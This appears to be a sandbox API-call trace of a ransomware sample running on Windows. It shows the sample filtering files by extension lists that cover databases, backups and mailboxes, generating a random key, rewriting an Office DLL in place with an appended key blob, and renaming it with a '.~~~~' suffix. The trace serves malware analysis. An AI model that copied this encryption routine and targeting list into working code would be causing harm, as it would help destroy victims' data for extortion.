	[0080.278] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bac0 | out: hHeap=0x300000) returned 1
	[0080.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b7288
	[0080.278] lstrlenW (lpString=".scr") returned 4
	[0080.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll", lpSrch=".scr") returned 0x0
	[0080.279] lstrlenW (lpString=".cmd") returned 4
	[0080.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll", lpSrch=".cmd") returned 0x0
	[0080.279] lstrlenW (lpString=".dll") returned 4
	[0080.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll", lpSrch=".dll") returned=".dll"
	[0080.279] lstrlenW (lpString=".dll") returned 4
	[0080.279] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7288 | out: hHeap=0x300000) returned 1
	[0080.279] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0080.279] RtlWakeConditionVariable () returned 0x365f70
	[0080.279] GetCurrentThreadId () returned 0x9f4
	[0080.279] GetCurrentThreadId () returned 0x9f4
	[0080.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0080.279] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fbc58 | out: hHeap=0x300000) returned 1
	[0080.279] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280baf8 | out: hHeap=0x300000) returned 1
	[0080.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbc58
	[0080.279] lstrlenW (lpString=".scr") returned 4
	[0080.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".scr") returned 0x0
	[0080.279] lstrlenW (lpString=".cmd") returned 4
	[0080.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".cmd") returned 0x0
	[0080.279] lstrlenW (lpString=".dll") returned 4
	[0080.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".dll") returned 0x0
	[0080.280] lstrlenW (lpString=".bat") returned 4
	[0080.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".bat") returned 0x0
	[0080.280] lstrlenW (lpString=".cpl") returned 4
	[0080.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".cpl") returned 0x0
	[0080.280] lstrlenW (lpString=".sys") returned 4
	[0080.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".sys") returned 0x0
	[0080.280] lstrlenW (lpString=".msc") returned 4
	[0080.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".msc") returned 0x0
	[0080.280] lstrlenW (lpString=".com") returned 4
	[0080.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".com") returned 0x0
	[0080.280] lstrlenW (lpString=".lnk") returned 4
	[0080.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".lnk") returned 0x0
	[0080.280] lstrlenW (lpString=".msp") returned 4
	[0080.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".msp") returned 0x0
	[0080.280] lstrlenW (lpString=".pif") returned 4
	[0080.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".pif") returned 0x0
	[0080.280] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0080.280] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0080.281] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxev.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0080.282] lstrlenW (lpString=".sqb") returned 4
	[0080.282] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".sqb") returned 0x0
	[0080.282] lstrlenW (lpString=".ost") returned 4
	[0080.282] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".ost") returned 0x0
	[0080.282] lstrlenW (lpString=".txt") returned 4
	[0080.282] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".txt") returned 0x0
	[0080.282] lstrlenW (lpString=".mdt") returned 4
	[0080.282] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".mdt") returned 0x0
	[0080.282] lstrlenW (lpString=".BDB") returned 4
	[0080.282] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".BDB") returned 0x0
	[0080.282] lstrlenW (lpString=".eql") returned 4
	[0080.282] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".eql") returned 0x0
	[0080.282] lstrlenW (lpString=".DBF") returned 4
	[0080.283] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".DBF") returned 0x0
	[0080.283] lstrlenW (lpString=".EQL") returned 4
	[0080.283] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".EQL") returned 0x0
	[0080.283] lstrlenW (lpString=".FDB") returned 4
	[0080.283] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".FDB") returned 0x0
	[0080.283] lstrlenW (lpString=".EDB") returned 4
	[0080.283] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".EDB") returned 0x0
	[0080.283] lstrlenW (lpString=".DACPAC") returned 7
	[0080.283] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".DACPAC") returned 0x0
	[0080.283] lstrlenW (lpString=".VHD") returned 4
	[0080.283] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".VHD") returned 0x0
	[0080.283] lstrlenW (lpString=".DBV") returned 4
	[0080.283] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".DBV") returned 0x0
	[0080.283] lstrlenW (lpString=".dacpac") returned 7
	[0080.283] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".dacpac") returned 0x0
	[0080.283] lstrlenW (lpString=".sdf") returned 4
	[0080.283] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".sdf") returned 0x0
	[0080.284] lstrlenW (lpString=".accdb") returned 6
	[0080.284] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".accdb") returned 0x0
	[0080.284] lstrlenW (lpString=".DBX") returned 4
	[0080.284] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".DBX") returned 0x0
	[0080.284] lstrlenW (lpString=".MDT") returned 4
	[0080.284] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".MDT") returned 0x0
	[0080.284] lstrlenW (lpString=".SQB") returned 4
	[0080.284] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".SQB") returned 0x0
	[0080.284] lstrlenW (lpString=".vhd") returned 4
	[0080.284] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".vhd") returned 0x0
	[0080.284] lstrlenW (lpString=".bac") returned 4
	[0080.284] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".bac") returned 0x0
	[0080.284] lstrlenW (lpString=".mdf") returned 4
	[0080.284] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".mdf") returned 0x0
	[0080.284] lstrlenW (lpString=".BAK") returned 4
	[0080.284] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".BAK") returned 0x0
	[0080.284] lstrlenW (lpString=".BAC") returned 4
	[0080.284] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".BAC") returned 0x0
	[0080.284] lstrlenW (lpString=".dbs") returned 4
	[0080.285] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".dbs") returned 0x0
	[0080.285] lstrlenW (lpString=".vhdx") returned 5
	[0080.285] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".vhdx") returned 0x0
	[0080.285] lstrlenW (lpString=".NDF") returned 4
	[0080.285] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".NDF") returned 0x0
	[0080.285] lstrlenW (lpString=".dat") returned 4
	[0080.285] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".dat") returned 0x0
	[0080.285] lstrlenW (lpString=".DBS") returned 4
	[0080.285] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".DBS") returned 0x0
	[0080.285] lstrlenW (lpString=".CKP") returned 4
	[0080.285] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".CKP") returned 0x0
	[0080.285] lstrlenW (lpString=".edb") returned 4
	[0080.285] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".edb") returned 0x0
	[0080.285] lstrlenW (lpString=".PST") returned 4
	[0080.285] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".PST") returned 0x0
	[0080.285] lstrlenW (lpString=".dbf") returned 4
	[0080.285] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".dbf") returned 0x0
	[0080.285] lstrlenW (lpString=".SQL") returned 4
	[0080.285] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".SQL") returned 0x0
	[0080.285] lstrlenW (lpString=".pst") returned 4
	[0080.285] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".pst") returned 0x0
	[0080.286] lstrlenW (lpString=".dbv") returned 4
	[0080.286] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".dbv") returned 0x0
	[0080.286] lstrlenW (lpString=".SDF") returned 4
	[0080.286] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".SDF") returned 0x0
	[0080.286] lstrlenW (lpString=".dtxs") returned 5
	[0080.286] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".dtxs") returned 0x0
	[0080.286] lstrlenW (lpString=".db3") returned 4
	[0080.286] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".db3") returned 0x0
	[0080.402] lstrlenW (lpString=".OST") returned 4
	[0080.402] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".OST") returned 0x0
	[0080.402] lstrlenW (lpString=".dbx") returned 4
	[0080.402] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".dbx") returned 0x0
	[0080.402] lstrlenW (lpString=".DB3") returned 4
	[0080.402] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".DB3") returned 0x0
	[0080.402] lstrlenW (lpString=".DAT") returned 4
	[0080.402] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".DAT") returned 0x0
	[0080.402] lstrlenW (lpString=".VHDX") returned 5
	[0080.402] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".VHDX") returned 0x0
	[0080.403] lstrlenW (lpString=".ndf") returned 4
	[0080.403] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".ndf") returned 0x0
	[0080.403] lstrlenW (lpString=".DB") returned 3
	[0080.403] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".DB") returned 0x0
	[0080.403] lstrlenW (lpString=".sql") returned 4
	[0080.403] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".sql") returned 0x0
	[0080.403] lstrlenW (lpString=".MYD") returned 4
	[0080.403] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".MYD") returned 0x0
	[0080.403] lstrlenW (lpString=".DBT") returned 4
	[0080.403] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".DBT") returned 0x0
	[0080.403] lstrlenW (lpString=".ACCDB") returned 6
	[0080.403] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".ACCDB") returned 0x0
	[0080.403] lstrlenW (lpString=".fdb") returned 4
	[0080.403] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".fdb") returned 0x0
	[0080.403] lstrlenW (lpString=".bak") returned 4
	[0080.403] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".bak") returned 0x0
	[0080.403] lstrlenW (lpString=".myd") returned 4
	[0080.403] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".myd") returned 0x0
	[0080.403] lstrlenW (lpString=".DTXS") returned 5
	[0080.403] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".DTXS") returned 0x0
	[0080.403] lstrlenW (lpString=".ckp") returned 4
	[0080.403] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".ckp") returned 0x0
	[0080.403] lstrlenW (lpString=".dbt") returned 4
	[0080.403] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".dbt") returned 0x0
	[0080.403] lstrlenW (lpString=".db") returned 3
	[0080.404] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".db") returned 0x0
	[0080.404] lstrlenW (lpString=".TXT") returned 4
	[0080.404] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".TXT") returned 0x0
	[0080.404] lstrlenW (lpString=".MDF") returned 4
	[0080.404] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".MDF") returned 0x0
	[0080.404] lstrlenW (lpString=".bdb") returned 4
	[0080.404] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".bdb") returned 0x0
	[0080.404] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0080.404] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0080.404] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0080.404] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0080.404] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0080.405] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0080.405] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0080.405] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0080.405] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0080.405] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce910
	[0080.405] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20039540454) returned 1
	[0080.405] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x99c68bb0, dwHighDateTime=0x1d60e1e)) 
	[0080.405] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0080.405] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0080.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0080.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b8060
	[0080.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0080.406] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b8060 | out: hHeap=0x300000) returned 1
	[0080.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0080.406] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0080.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6df0
	[0080.406] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0080.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbcf0
	[0080.406] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6df0 | out: hHeap=0x300000) returned 1
	[0080.406] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0080.406] GetLastError () returned 0x0
	[0080.406] GetLastError () returned 0x0
	[0080.406] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0080.406] GetLastError () returned 0x0
	[0080.407] GetLastError () returned 0x0
	[0080.407] ReadFile (in: hFile=0x128, lpBuffer=0x284dfe8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x284dfe8*, lpNumberOfBytesRead=0x25dfec0*=0xdb50, lpOverlapped=0x0) returned 1
	[0080.410] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffff24b0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0080.410] WriteFile (in: hFile=0x128, lpBuffer=0x284dfe8*, nNumberOfBytesToWrite=0xdb50, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x284dfe8*, lpNumberOfBytesWritten=0x25dfec0*=0xdb50, lpOverlapped=0x0) returned 1
	[0080.411] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x284dfe8 | out: hHeap=0x300000) returned 1
	[0080.411] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.411] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0080.411] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0080.411] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0080.411] CloseHandle (hObject=0x128) returned 1
	[0080.411] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6df0
	[0080.412] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxev.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxev.dll.~~~~")) returned 1
	[0080.413] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6df0 | out: hHeap=0x300000) returned 1
	[0080.413] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0080.413] GetLastError () returned 0x0
	[0080.413] RtlWakeConditionVariable () returned 0x365f70
	[0080.413] GetCurrentThreadId () returned 0x9f4
	[0080.413] GetCurrentThreadId () returned 0x9f4
	[0080.413] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6df0
	[0080.413] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7528 | out: hHeap=0x300000) returned 1
	[0080.413] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bc80 | out: hHeap=0x300000) returned 1
	[0080.413] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b7528
	[0080.413] lstrlenW (lpString=".scr") returned 4
	[0080.413] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".scr") returned 0x0
	[0080.413] lstrlenW (lpString=".cmd") returned 4
	[0080.413] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".cmd") returned 0x0
	[0080.413] lstrlenW (lpString=".dll") returned 4
	[0080.413] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".dll") returned 0x0
	[0080.413] lstrlenW (lpString=".bat") returned 4
	[0080.413] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".bat") returned 0x0
	[0080.413] lstrlenW (lpString=".cpl") returned 4
	[0080.413] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".cpl") returned 0x0
	[0080.413] lstrlenW (lpString=".sys") returned 4
	[0080.413] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".sys") returned 0x0
	[0080.413] lstrlenW (lpString=".msc") returned 4
	[0080.414] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".msc") returned 0x0
	[0080.414] lstrlenW (lpString=".com") returned 4
	[0080.414] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".com") returned 0x0
	[0080.414] lstrlenW (lpString=".lnk") returned 4
	[0080.414] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".lnk") returned 0x0
	[0080.414] lstrlenW (lpString=".msp") returned 4
	[0080.414] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".msp") returned 0x0
	[0080.414] lstrlenW (lpString=".pif") returned 4
	[0080.414] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch=".pif") returned 0x0
	[0080.414] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0080.414] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe", lpSrch="msp\r\n.pif") returned 0x0
